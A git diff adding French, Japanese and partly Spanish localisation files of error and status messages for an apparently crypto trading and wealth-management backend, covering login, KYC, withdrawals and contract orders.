account balance +contract.min.share=The minimum purchase quantity is {0} +contract.max.share=The maximum number of purchases is {0} +contract.asset.error=Insufficient contract account balance +adjust.min.error=The reduced margin cannot be less than the initial margin +order.status.error=illegal submission +contract.buy.earn.error=Buy long, the take profit price cannot be less than the average opening price +contract.buy.loss.error=Buy long, the stop loss price cannot be greater than the average opening price +contract.sell.earn.error=Selling to open a short position, the take profit price cannot be greater than the average opening price +contract.sell.loss.error=Selling to open a short position, the stop loss price cannot be lower than the average opening price +contract.num.limit=The quantity cannot be greater than the open interest +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=Insufficient balance +order.amount_error=Insufficient wealth management account balance +order_amount_limit=Insufficient amount +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... + +contract.delivery.day=There are still: {0} days until delivery. +contract.delivery.margan=There are still: {0} days before delivery; if your position margin is greater than or equal to {1} USDT or your position margin is less than or equal to {2} USDT, you can close the position in advance. +contract.delivery.earn=There are still {0} days left before the delivery time; if your position margin is greater than or equal to {1} USDT, you can close the position in advance. +contract.delivery.loss=There are still: {0} days before the delivery time; if your position margin is less than or equal to {1}USDT, you can close the position in advance. +order.audit.error=Under review +order.audit.pass=Recharging is in progress and requires confirmation from 5 nodes around the world. Please wait patiently. + +#\u7533\u8D2D +own.coin.limit.num=Cantidad disponible {0} +own.coin.limit=Saldo disponible {0} +own.coin.success=Suscripci\u00F3n exitosa +own.coin.error=Error del sistema, por favor contacte al administrador +own.coin.sub.play=Ya te has suscrito, \u00A1no vuelvas a enviarlo! +own.coin.sub.error=La suscripci\u00F3n no est\u00E1 disponible si no se ha suscrito correctamente +own.coin.sub.success=Ha obtenido {0} calificaciones de suscripci\u00F3n +own.coin.sub.num.error=Por favor complete la cantidad correcta +order.sell.min.error=El monto m\u00EDnimo de venta es {0} +order.audit.reject=No se pudo cerrar la posici\u00F3n + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=Application Successfully +own.coin.subscribe.error=Application failed +withdraw.kyc.error=Please complete real-name authentication first to lift the limit +exchange_symbol_error_exist=The exchange currency does not exist +currency.coin.setting.nonexistent=The current {} configuration does not exist +currency.balance.deficiency=The current {} currency balance is insufficient +currency.deal.error=This currency is not tradable +back.code.exist.error=Bank card number already exists{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = Realice primero la certificaci\u00F3n primaria + +#\u9ED1\u540D\u5355 +user_is_black = Su cuenta ha sido incluida en la lista negra y no se puede iniciar sesi\u00F3n. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= La cantidad m\u00EDnima de pedido es {0} +currency.order.max.error= La cantidad m\u00E1xima de pedido es {0} + diff --git a/ruoyi-api/src/main/resources/i18n/messages_fr.properties b/ruoyi-api/src/main/resources/i18n/messages_fr.properties new file mode 100644 index 0000000..7bc64fa --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_fr.properties @@ -0,0 +1,164 @@ +user.appname=\u6CD5\u8BED + +#\u9519\u8BEF\u6D88\u606F +not.null= required +user.jcaptcha.error=Verification code error +user.jcaptcha.expire=Verification code has expired +user.not.exists=User does not exist/wrong password +user.password.not.match=User does not exist/wrong password +user.password.retry.limit.count=The wrong password was entered {0} times +user.password.retry.limit.exceed=The password was entered incorrectly {0} times, and the account was locked for {1} minutes +user.password.delete=Sorry, your account has been deleted +user.blocked=The user has been banned, please contact the administrator +role.blocked=The role has been banned, please contact the administrator +login.blocked=Unfortunately, the access IP has been blacklisted by the system +user.logout.success=exit successfully +user.ops.status=Successful operation, Please wait + +length.not.valid=Length must be between {min} and {max} characters + +user.username.not.valid=* 2 to 20 Chinese characters, letters, numbers or underscores, and must start with a non-number +user.password.not.valid=* 5-50 characters + +user.email.not.valid=E-mail format error +user.mobile.phone.number.not.valid=Malformed phone number +user.login.success=login successful +user.register.success=registration success +user.notfound=please login again +user.forcelogout=The administrator forcibly logged out, please log in again +user.unknown.error=Unknown error, please log in again + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=The uploaded file size exceeds the file size limit! The maximum allowed file size is: {0}MB! +upload.filename.exceed.length=The maximum length of the uploaded file name is {0} characters + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=E-mail format is incorrect +user.register.email.exisit=mailbox already exists +user.register.phone.exisit=mobile number already exists +user.user_name_exisit=username already exists +login.user_error=wrong user name or password +user.login.address.error=Address is taken! +user.register.phone.exist=Mobile phone number already exists +user.register.phone.bind=Mobile phone number has been bound +#app +app.login.address.not.null=user address is empty +login.email.not_register=Please use the bound email address to operate +login.phone.not_register=Please use the bound mobile phone number to operate +login.code_error=Verification code error +user.login.code.error=Verification code validation failed! +user.login.password.null=Please enter your password! +user.login.upd.success=Successfully modified! +phone_code_empty=Mobile phone number cannot be empty! +email.code_empty=E-mail can not be empty! +user.code.send=Verification code sent successfully +app.verification.email.code=The verification code has been sent to your email, please check it +user.password_bind=The password has already been set, please do not bind again +user.tard.password_bind=The security password has been set, please do not bind again +user.login.null=User does not exist! +user.login.old.password=Old password not entered! +user.login.new.password=New password not entered! +user.login.paw.upd=The new password cannot be the same as the old password! +user.login.old.password.error=The old password is wrong! +user.login.address.null=Address is empty! +user.login.userid.null=User ID is empty! +#\u63D0\u73B0 +user.password_notbind=Please set a secure password +tard_password.error=Wrong payment password +withdraw.amount_number_exceed=The number of cash withdrawals on the day exceeds the set number +withdraw_error= Insufficient balance, unable to withdraw cash +withdraw.amount_error=The withdrawal amount is wrong, please modify +withdraw.refresh=please refresh +withdraw.address.isnull=Veuillez remplir la bonne adresse de retrait ! +withdraw_require_error = \u00C0 l\u2019heure actuelle, je dois encore jouer avec le chiffre d\u2019affaires restant. +withdraw_error_coin=Cette monnaie n'existe pas +withdraw_error_rate=Ce taux de change n'existe pas +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=All 4 items of identity authentication information are required + +#\u5151\u6362 +exchange.symbol.exist = The exchange currency cannot be empty, and the exchange amount must be greater than 0 +recharge.amout.min=The minimum recharge amount is {0} +recharge.amout.max=The maximum recharge amount is {0} +currency.exchange_min = The minimum exchange amount is {0} +currency.exchange_max = The maximum exchange amount is {0} +exchange_error=The exchange amount is greater than the account balance +exchange.record.exist.error=You have a redemption in progress, try again later +#\u79D2\u5408\u7EA6 +order_amount_error=Insufficient wallet balance, unable to purchase +order_10s_retry=Orders are placed too frequently, please try to place an order after 10s... +#\u7406\u8D22 +user.push.message=User action prohibited +mine.level.error=Your VIP level is not enough to purchase secondary wealth management products +order.single.min=The purchase amount is less than the minimum amount and cannot be purchased +order.single.max=The purchased amount is greater than the maximum limit and cannot be purchased +order.buy.insufficient=You can currently purchase up to {0} +product.removed=The product has been discontinued +financial.count.max=This user has reached the limit and is not allowed to purchase +days.not.null=Buy cycle is empty +days.not.error=Purchase cycle error +contract.accont.error=Insufficient contract account balance +contract.min.share=The minimum purchase quantity is {0} +contract.max.share=The maximum number of purchases is {0} +contract.asset.error=Insufficient contract account balance +adjust.min.error=The reduced margin cannot be less than the initial margin +order.status.error=illegal submission +contract.buy.earn.error=Buy long, the take profit price cannot be less than the average opening price +contract.buy.loss.error=Buy long, the stop loss price cannot be greater than the average opening price +contract.sell.earn.error=Selling to open a short position, the take profit price cannot be greater than the average opening price +contract.sell.loss.error=Selling to open a short position, the stop loss price cannot be lower than the average opening price +contract.num.limit=The quantity cannot be greater than the open interest +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=Insufficient balance +order.amount_error=Insufficient wealth management account balance +order_amount_limit=Insufficient amount +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... + +contract.delivery.day=There are still: {0} days until delivery. +contract.delivery.margan=There are still: {0} days before delivery; if your position margin is greater than or equal to {1} USDT or your position margin is less than or equal to {2} USDT, you can close the position in advance. +contract.delivery.earn=There are still {0} days left before the delivery time; if your position margin is greater than or equal to {1} USDT, you can close the position in advance. +contract.delivery.loss=There are still: {0} days before the delivery time; if your position margin is less than or equal to {1}USDT, you can close the position in advance. +order.audit.error=Under review +order.audit.pass=Recharging is in progress and requires confirmation from 5 nodes around the world. Please wait patiently. + +#\u7533\u8D2D +own.coin.limit.num=Quantit\u00E9 disponible {0} +own.coin.limit=Solde disponible {0} +own.coin.success=Abonnement r\u00E9ussi +own.coin.error=Erreur syst\u00E8me, veuillez contacter l'administrateur +own.coin.sub.play=Vous \u00EAtes d\u00E9j\u00E0 abonn\u00E9, merci de ne plus soumettre ! +own.coin.sub.error=L'abonnement n'est pas disponible si vous ne vous \u00EAtes pas abonn\u00E9 avec succ\u00E8s +own.coin.sub.success=Vous avez obtenu {0} qualifications d'abonnement +own.coin.sub.num.error=Veuillez remplir la bonne quantit\u00E9 +order.sell.min.error=Le montant minimum de vente est de {0} +order.audit.reject=\u00C9chec de la cl\u00F4ture de la position + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=Application Successfully +own.coin.subscribe.error=Application failed +withdraw.kyc.error=Please complete real-name authentication first to lift the limit +exchange_symbol_error_exist=The exchange currency does not exist +currency.coin.setting.nonexistent=The current {} configuration does not exist +currency.balance.deficiency=The current {} currency balance is insufficient +currency.deal.error=This currency is not tradable +back.code.exist.error=Bank card number already exists{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = Veuillez d'abord effectuer une certification primaire + +#\u9ED1\u540D\u5355 +user_is_black = Votre compte a \u00E9t\u00E9 mis sur liste noire et ne peut pas \u00EAtre connect\u00E9. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= La quantit\u00E9 minimum de commande est {0} +currency.order.max.error= La quantit\u00E9 maximale de commande est {0} + + diff --git a/ruoyi-api/src/main/resources/i18n/messages_ja.properties b/ruoyi-api/src/main/resources/i18n/messages_ja.properties new file mode 100644 index 0000000..ca39427 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_ja.properties @@ -0,0 +1,161 @@ +user.appname=\u65E5\u8BED +#\u9519\u8BEF\u6D88\u606F +not.null=*\u5FC5\u9808 +user.jcaptcha.error=\u8A8D\u8A3C\u30B3\u30FC\u30C9\u30A8\u30E9\u30FC +user.jcaptcha.expire=\u8A8D\u8A3C\u30B3\u30FC\u30C9\u306E\u6709\u52B9\u671F\u9650\u304C\u5207\u308C\u3066\u3044\u307E\u3059 +user.not.exists=\u30E6\u30FC\u30B6\u30FC\u304C\u5B58\u5728\u3057\u306A\u3044/\u30D1\u30B9\u30EF\u30FC\u30C9\u304C\u9593\u9055\u3063\u3066\u3044\u307E\u3059 +user.password.not.match=\u30E6\u30FC\u30B6\u30FC\u304C\u5B58\u5728\u3057\u306A\u3044/\u30D1\u30B9\u30EF\u30FC\u30C9\u304C\u9593\u9055\u3063\u3066\u3044\u307E\u3059 +user.password.retry.limit.count=\u9593\u9055\u3063\u305F\u30D1\u30B9\u30EF\u30FC\u30C9\u304C {0} \u56DE\u5165\u529B\u3055\u308C\u307E\u3057\u305F +user.password.retry.limit.exceed=\u30D1\u30B9\u30EF\u30FC\u30C9\u304C {0} \u56DE\u9593\u9055\u3063\u3066\u5165\u529B\u3055\u308C\u3001\u30A2\u30AB\u30A6\u30F3\u30C8\u306F {1} \u5206\u9593\u30ED\u30C3\u30AF\u3055\u308C\u307E\u3057\u305F +user.password.delete=\u7533\u3057\u8A33\u3042\u308A\u307E\u305B\u3093\u304C\u3001\u3042\u306A\u305F\u306E\u30A2\u30AB\u30A6\u30F3\u30C8\u306F\u524A\u9664\u3055\u308C\u307E\u3057\u305F +user.blocked=\u30E6\u30FC\u30B6\u30FC\u306F\u7981\u6B62\u3055\u308C\u3066\u3044\u307E\u3059\u3002\u7BA1\u7406\u8005\u306B\u9023\u7D61\u3057\u3066\u304F\u3060\u3055\u3044 +role.blocked=\u30ED\u30FC\u30EB\u306F\u7981\u6B62\u3055\u308C\u3066\u3044\u307E\u3059\u3002\u7BA1\u7406\u8005\u306B\u9023\u7D61\u3057\u3066\u304F\u3060\u3055\u3044 +login.blocked=\u6B8B\u5FF5\u306A\u304C\u3089\u3001\u30A2\u30AF\u30BB\u30B9 IP \u306F\u30B7\u30B9\u30C6\u30E0\u306B\u3088\u3063\u3066\u30D6\u30E9\u30C3\u30AF\u30EA\u30B9\u30C8\u306B\u767B\u9332\u3055\u308C\u3066\u3044\u307E\u3059 +user.logout.success=\u6B63\u5E38\u306B\u7D42\u4E86\u3057\u307E\u3059 +user.ops.status=\u64CD\u4F5C\u6210\u529F + +length.not.valid=\u9577\u3055\u306F {min} \u6587\u5B57\u304B\u3089 {max} \u6587\u5B57\u307E\u3067\u3067\u306A\u3051\u308C\u3070\u306A\u308A\u307E\u305B\u3093 + +user.username.not.valid=* 2 \uFF5E 20 \u6587\u5B57\u306E\u6F22\u5B57\u3001\u6587\u5B57\u3001\u6570\u5B57\u3001\u307E\u305F\u306F\u30A2\u30F3\u30C0\u30FC\u30B9\u30B3\u30A2\u3002\u6570\u5B57\u4EE5\u5916\u3067\u59CB\u3081\u308B\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059 +user.password.not.valid=*5\uFF5E50\u6587\u5B57 + +user.email.not.valid=\u30E1\u30FC\u30EB\u30D5\u30A9\u30FC\u30DE\u30C3\u30C8\u30A8\u30E9\u30FC +user.mobile.phone.number.not.valid=\u4E0D\u6B63\u306A\u96FB\u8A71\u756A\u53F7 +user.login.success=\u30ED\u30B0\u30A4\u30F3\u6210\u529F +user.register.success=\u767B\u9332\u5B8C\u4E86 +user.notfound=\u3082\u3046\u4E00\u5EA6\u30ED\u30B0\u30A4\u30F3\u3057\u3066\u304F\u3060\u3055\u3044 +user.forcelogout=\u7BA1\u7406\u8005\u304C\u5F37\u5236\u30ED\u30B0\u30A2\u30A6\u30C8\u3057\u307E\u3057\u305F\u3002\u518D\u5EA6\u30ED\u30B0\u30A4\u30F3\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +user.unknown.error=\u4E0D\u660E\u306A\u30A8\u30E9\u30FC\u3067\u3059\u3002\u3082\u3046\u4E00\u5EA6\u30ED\u30B0\u30A4\u30F3\u3057\u3066\u304F\u3060\u3055\u3044 +user.register.phone.exist=\u643A\u5E2F\u96FB\u8A71\u756A\u53F7\u306F\u3059\u3067\u306B\u5B58\u5728\u3057\u307E\u3059 +user.register.phone.bind=\u643A\u5E2F\u96FB\u8A71\u756A\u53F7\u304C\u7D10\u4ED8\u3051\u3089\u308C\u3066\u3044\u308B +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u30A2\u30C3\u30D7\u30ED\u30FC\u30C9\u3055\u308C\u305F\u30D5\u30A1\u30A4\u30EB \u30B5\u30A4\u30BA\u304C\u30D5\u30A1\u30A4\u30EB \u30B5\u30A4\u30BA\u5236\u9650\u3092\u8D85\u3048\u3066\u3044\u307E\u3059\u3002\u8A31\u53EF\u3055\u308C\u308B\u6700\u5927\u30D5\u30A1\u30A4\u30EB \u30B5\u30A4\u30BA\u306F\u6B21\u306E\u3068\u304A\u308A\u3067\u3059: {0}MB! +upload.filename.exceed.length=\u30A2\u30C3\u30D7\u30ED\u30FC\u30C9\u3055\u308C\u308B\u30D5\u30A1\u30A4\u30EB\u540D\u306E\u6700\u5927\u9577\u306F {0} \u6587\u5B57\u3067\u3059 + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\u96FB\u5B50\u30E1\u30FC\u30EB\u306E\u5F62\u5F0F\u304C\u6B63\u3057\u304F\u3042\u308A\u307E\u305B\u3093 +user.register.email.exisit=\u30E1\u30FC\u30EB\u30DC\u30C3\u30AF\u30B9\u306F\u3059\u3067\u306B\u5B58\u5728\u3057\u307E\u3059 +user.register.phone.exisit=\u643A\u5E2F\u96FB\u8A71\u756A\u53F7\u306F\u3059\u3067\u306B\u5B58\u5728\u3057\u307E\u3059 +user.user_name_exisit=\u30E6\u30FC\u30B6\u30FC\u540D\u306F\u65E2\u306B\u5B58\u5728\u3057\u307E\u3059 +login.user_error=\u9593\u9055\u3063\u305F\u30E6\u30FC\u30B6\u30FC\u540D\u307E\u305F\u306F\u30D1\u30B9\u30EF\u30FC\u30C9 +user.login.address.error=\u4F4F\u6240\u304C\u53D6\u3089\u308C\u3066\u3044\u307E\u3059\uFF01 +#app +app.login.address.not.null=\u30E6\u30FC\u30B6\u30FC\u30A2\u30C9\u30EC\u30B9\u304C\u7A7A\u3067\u3059 +login.email.not_register=\u30D0\u30A4\u30F3\u30C9\u3055\u308C\u305F\u30E1\u30FC\u30EB\u30A2\u30C9\u30EC\u30B9\u3092\u4F7F\u7528\u3057\u3066\u64CD\u4F5C\u3057\u3066\u304F\u3060\u3055\u3044 +login.phone.not_register=\u30D0\u30A4\u30F3\u30C9\u3055\u308C\u305F\u643A\u5E2F\u96FB\u8A71\u756A\u53F7\u3092\u4F7F\u7528\u3057\u3066\u64CD\u4F5C\u3057\u3066\u304F\u3060\u3055\u3044 +login.code_error=\u8A8D\u8A3C\u30B3\u30FC\u30C9\u30A8\u30E9\u30FC +user.login.code.error=\u78BA\u8A8D\u30B3\u30FC\u30C9\u306E\u691C\u8A3C\u306B\u5931\u6557\u3057\u307E\u3057\u305F\u3002 +user.login.password.null=\u30D1\u30B9\u30EF\u30FC\u30C9\u3092\u5165\u529B\u3057\u3066\u304F\u3060\u3055\u3044\uFF01 +user.login.upd.success=\u7121\u4E8B\u306B\u6539\u9020\u3055\u308C\u307E\u3057\u305F\uFF01 +phone_code_empty=\u643A\u5E2F\u96FB\u8A71\u756A\u53F7\u3092\u7A7A\u767D\u306B\u3059\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093\u3002 +email.code_empty=\u96FB\u5B50\u30E1\u30FC\u30EB\u3092\u7A7A\u306B\u3059\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093\u3002 +user.code.send=\u78BA\u8A8D\u30B3\u30FC\u30C9\u304C\u6B63\u5E38\u306B\u9001\u4FE1\u3055\u308C\u307E\u3057\u305F +app.verification.email.code=\u78BA\u8A8D\u30B3\u30FC\u30C9\u304C\u30E1\u30FC\u30EB\u306B\u9001\u4FE1\u3055\u308C\u307E\u3057\u305F\u306E\u3067\u3001\u3054\u78BA\u8A8D\u304F\u3060\u3055\u3044\u3002 +user.password_bind=\u30D1\u30B9\u30EF\u30FC\u30C9\u306F\u3059\u3067\u306B\u8A2D\u5B9A\u3055\u308C\u3066\u3044\u307E\u3059\u3002\u518D\u5EA6\u30D0\u30A4\u30F3\u30C9\u3057\u306A\u3044\u3067\u304F\u3060\u3055\u3044\u3002 +user.tard.password_bind=\u30BB\u30AD\u30E5\u30EA\u30C6\u30A3\u30D1\u30B9\u30EF\u30FC\u30C9\u304C\u8A2D\u5B9A\u3055\u308C\u3066\u3044\u307E\u3059\u3002\u518D\u5EA6\u30D0\u30A4\u30F3\u30C9\u3057\u306A\u3044\u3067\u304F\u3060\u3055\u3044\u3002 +user.login.null=\u30E6\u30FC\u30B6\u30FC\u306F\u5B58\u5728\u3057\u307E\u305B\u3093\uFF01 +user.login.old.password=\u53E4\u3044\u30D1\u30B9\u30EF\u30FC\u30C9\u304C\u5165\u529B\u3055\u308C\u3066\u3044\u307E\u305B\u3093! +user.login.new.password=\u65B0\u3057\u3044\u30D1\u30B9\u30EF\u30FC\u30C9\u304C\u5165\u529B\u3055\u308C\u3066\u3044\u307E\u305B\u3093! +user.login.paw.upd=\u65B0\u3057\u3044\u30D1\u30B9\u30EF\u30FC\u30C9\u3092\u53E4\u3044\u30D1\u30B9\u30EF\u30FC\u30C9\u3068\u540C\u3058\u306B\u3059\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093\u3002 +user.login.old.password.error=\u53E4\u3044\u30D1\u30B9\u30EF\u30FC\u30C9\u306F\u9593\u9055\u3063\u3066\u3044\u307E\u3059! +user.login.address.null=\u4F4F\u6240\u304C\u7A7A\u3067\u3059! +user.login.userid.null=\u30E6\u30FC\u30B6\u30FCID\u304C\u7A7A\u3067\u3059! +#\u63D0\u73B0 +user.password_notbind=\u5B89\u5168\u306A\u30D1\u30B9\u30EF\u30FC\u30C9\u3092\u8A2D\u5B9A\u3057\u3066\u304F\u3060\u3055\u3044 +tard_password.error=\u652F\u6255\u3044\u30D1\u30B9\u30EF\u30FC\u30C9\u304C\u9593\u9055\u3063\u3066\u3044\u307E\u3059 +withdraw.amount_number_exceed=\u5F53\u65E5\u306E\u51FA\u91D1\u679A\u6570\u304C\u8A2D\u5B9A\u679A\u6570\u3092\u8D85\u3048\u305F\u5834\u5408 +withdraw_error=\u6B8B\u9AD8\u4E0D\u8DB3\u3067\u73FE\u91D1\u304C\u5F15\u304D\u51FA\u305B\u306A\u3044 +withdraw.amount_error=\u51FA\u91D1\u91D1\u984D\u304C\u9593\u9055\u3063\u3066\u3044\u307E\u3059\u306E\u3067\u4FEE\u6B63\u3057\u3066\u304F\u3060\u3055\u3044 +withdraw.refresh=\u30EA\u30D5\u30EC\u30C3\u30B7\u30E5\u3057\u3066\u304F\u3060\u3055\u3044 +withdraw.address.isnull=\u6B63\u3057\u3044\u51FA\u91D1\u30A2\u30C9\u30EC\u30B9\u3092\u5165\u529B\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +withdraw_require_error = \u73FE\u6642\u70B9\u3067\u306F\u307E\u3060\u6B8B\u308A\u306E\u30BF\u30FC\u30F3\u30AA\u30FC\u30D0\u30FC\u3067\u30D7\u30EC\u30FC\u3059\u308B\u5FC5\u8981\u304C\u3042\u308B\u3002 +withdraw_error_coin=\u3053\u306E\u901A\u8CA8\u306F\u5B58\u5728\u3057\u307E\u305B\u3093 +withdraw_error_rate=\u3053\u306E\u70BA\u66FF\u30EC\u30FC\u30C8\u306F\u5B58\u5728\u3057\u307E\u305B\u3093 +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\u672C\u4EBA\u8A8D\u8A3C\u60C5\u5831\u306F4\u9805\u76EE\u3059\u3079\u3066\u304C\u5FC5\u8981\u3067\u3059 + +#\u5151\u6362 +exchange.symbol.exist = \u4EA4\u63DB\u901A\u8CA8\u3092\u7A7A\u306B\u3059\u308B\u3053\u3068\u306F\u3067\u304D\u305A\u3001\u4EA4\u63DB\u91D1\u984D\u306F 0 \u3088\u308A\u5927\u304D\u304F\u306A\u3051\u308C\u3070\u306A\u308A\u307E\u305B\u3093 +recharge.amout.min=\u6700\u5C0F\u30EA\u30C1\u30E3\u30FC\u30B8\u91D1\u984D\u306F {0} \u3067\u3059 +recharge.amout.max=\u6700\u5927\u30EA\u30C1\u30E3\u30FC\u30B8\u91D1\u984D\u306F {0} \u3067\u3059 +currency.exchange_min = \u6700\u4F4E\u4EA4\u63DB\u91D1\u984D\u306F {0} \u3067\u3059 +currency.exchange_max = \u6700\u5927\u4EA4\u63DB\u91D1\u984D\u306F {0} \u3067\u3059 +exchange_error=\u4EA4\u63DB\u91D1\u984D\u304C\u53E3\u5EA7\u6B8B\u9AD8\u3092\u8D85\u3048\u3066\u3044\u307E\u3059 +exchange.record.exist.error=\u5F15\u304D\u63DB\u3048\u304C\u9032\u884C\u4E2D\u3067\u3059\u3002\u5F8C\u3067\u3082\u3046\u4E00\u5EA6\u304A\u8A66\u3057\u304F\u3060\u3055\u3044 +#\u79D2\u5408\u7EA6 +order_amount_error=\u30A6\u30A9\u30EC\u30C3\u30C8\u6B8B\u9AD8\u4E0D\u8DB3\u306E\u305F\u3081\u8CFC\u5165\u3067\u304D\u307E\u305B\u3093 +order_10s_retry=\u6CE8\u6587\u304C\u591A\u3059\u304E\u308B\u305F\u3081\u300110 \u79D2\u5F8C\u306B\u6CE8\u6587\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +#\u7406\u8D22 +user.push.message=\u30E6\u30FC\u30B6\u30FC\u306E\u884C\u70BA\u306F\u7981\u6B62\u3055\u308C\u3066\u3044\u307E\u3059 +mine.level.error=\u3042\u306A\u305F\u306E VIP \u30EC\u30D9\u30EB\u306F\u3001\u4E8C\u6B21\u8CC7\u7523\u7BA1\u7406\u5546\u54C1\u3092\u8CFC\u5165\u3059\u308B\u306B\u306F\u5341\u5206\u3067\u306F\u3042\u308A\u307E\u305B\u3093 +order.single.min=\u8CFC\u5165\u91D1\u984D\u304C\u6700\u4F4E\u91D1\u984D\u306B\u6E80\u305F\u306A\u3044\u305F\u3081\u8CFC\u5165\u3067\u304D\u307E\u305B\u3093 +order.single.max=\u8CFC\u5165\u91D1\u984D\u304C\u4E0A\u9650\u3092\u8D85\u3048\u3066\u3044\u308B\u305F\u3081\u8CFC\u5165\u3067\u304D\u307E\u305B\u3093 +order.buy.insufficient=\u73FE\u5728\u3001\u6700\u5927 {0} \u307E\u3067\u8CFC\u5165\u3067\u304D\u307E\u3059 +product.removed=\u88FD\u54C1\u306F\u88FD\u9020\u4E2D\u6B62\u3068\u306A\u308A\u307E\u3057\u305F +financial.count.max=\u3053\u306E\u30E6\u30FC\u30B6\u30FC\u306F\u5236\u9650\u306B\u9054\u3057\u3066\u3044\u308B\u305F\u3081\u3001\u8CFC\u5165\u3067\u304D\u307E\u305B\u3093 +days.not.null=\u8CFC\u5165\u30B5\u30A4\u30AF\u30EB\u306F\u7A7A\u3067\u3059 +days.not.error=\u8CFC\u5165\u30B5\u30A4\u30AF\u30EB\u30A8\u30E9\u30FC + +contract.accont.error=\u5951\u7D04\u53E3\u5EA7\u6B8B\u9AD8\u4E0D\u8DB3 +contract.min.share=\u6700\u5C0F\u8CFC\u5165\u6570\u91CF\u306F {0} \u3067\u3059 +contract.max.share=\u6700\u5927\u8CFC\u5165\u6570\u306F {0} \u3067\u3059 +contract.asset.error=\u5951\u7D04\u53E3\u5EA7\u6B8B\u9AD8\u4E0D\u8DB3 +adjust.min.error=\u6E1B\u5C11\u3057\u305F\u8A3C\u62E0\u91D1\u306F\u6700\u521D\u306E\u8A3C\u62E0\u91D1\u3088\u308A\u3082\u5C0F\u3055\u304F\u3059\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093 +order.status.error=\u4E0D\u6CD5\u63D0\u51FA +contract.buy.earn.error=\u30ED\u30F3\u30B0\u8CFC\u5165\u3001\u30C6\u30A4\u30AF\u30D7\u30ED\u30D5\u30A3\u30C3\u30C8\u4FA1\u683C\u306F\u5E73\u5747\u59CB\u5024\u3092\u4E0B\u56DE\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093 +contract.buy.loss.error=\u30ED\u30F3\u30B0\u8CFC\u5165\u3001\u30B9\u30C8\u30C3\u30D7\u30ED\u30B9\u4FA1\u683C\u306F\u5E73\u5747\u59CB\u5024\u3092\u8D85\u3048\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093 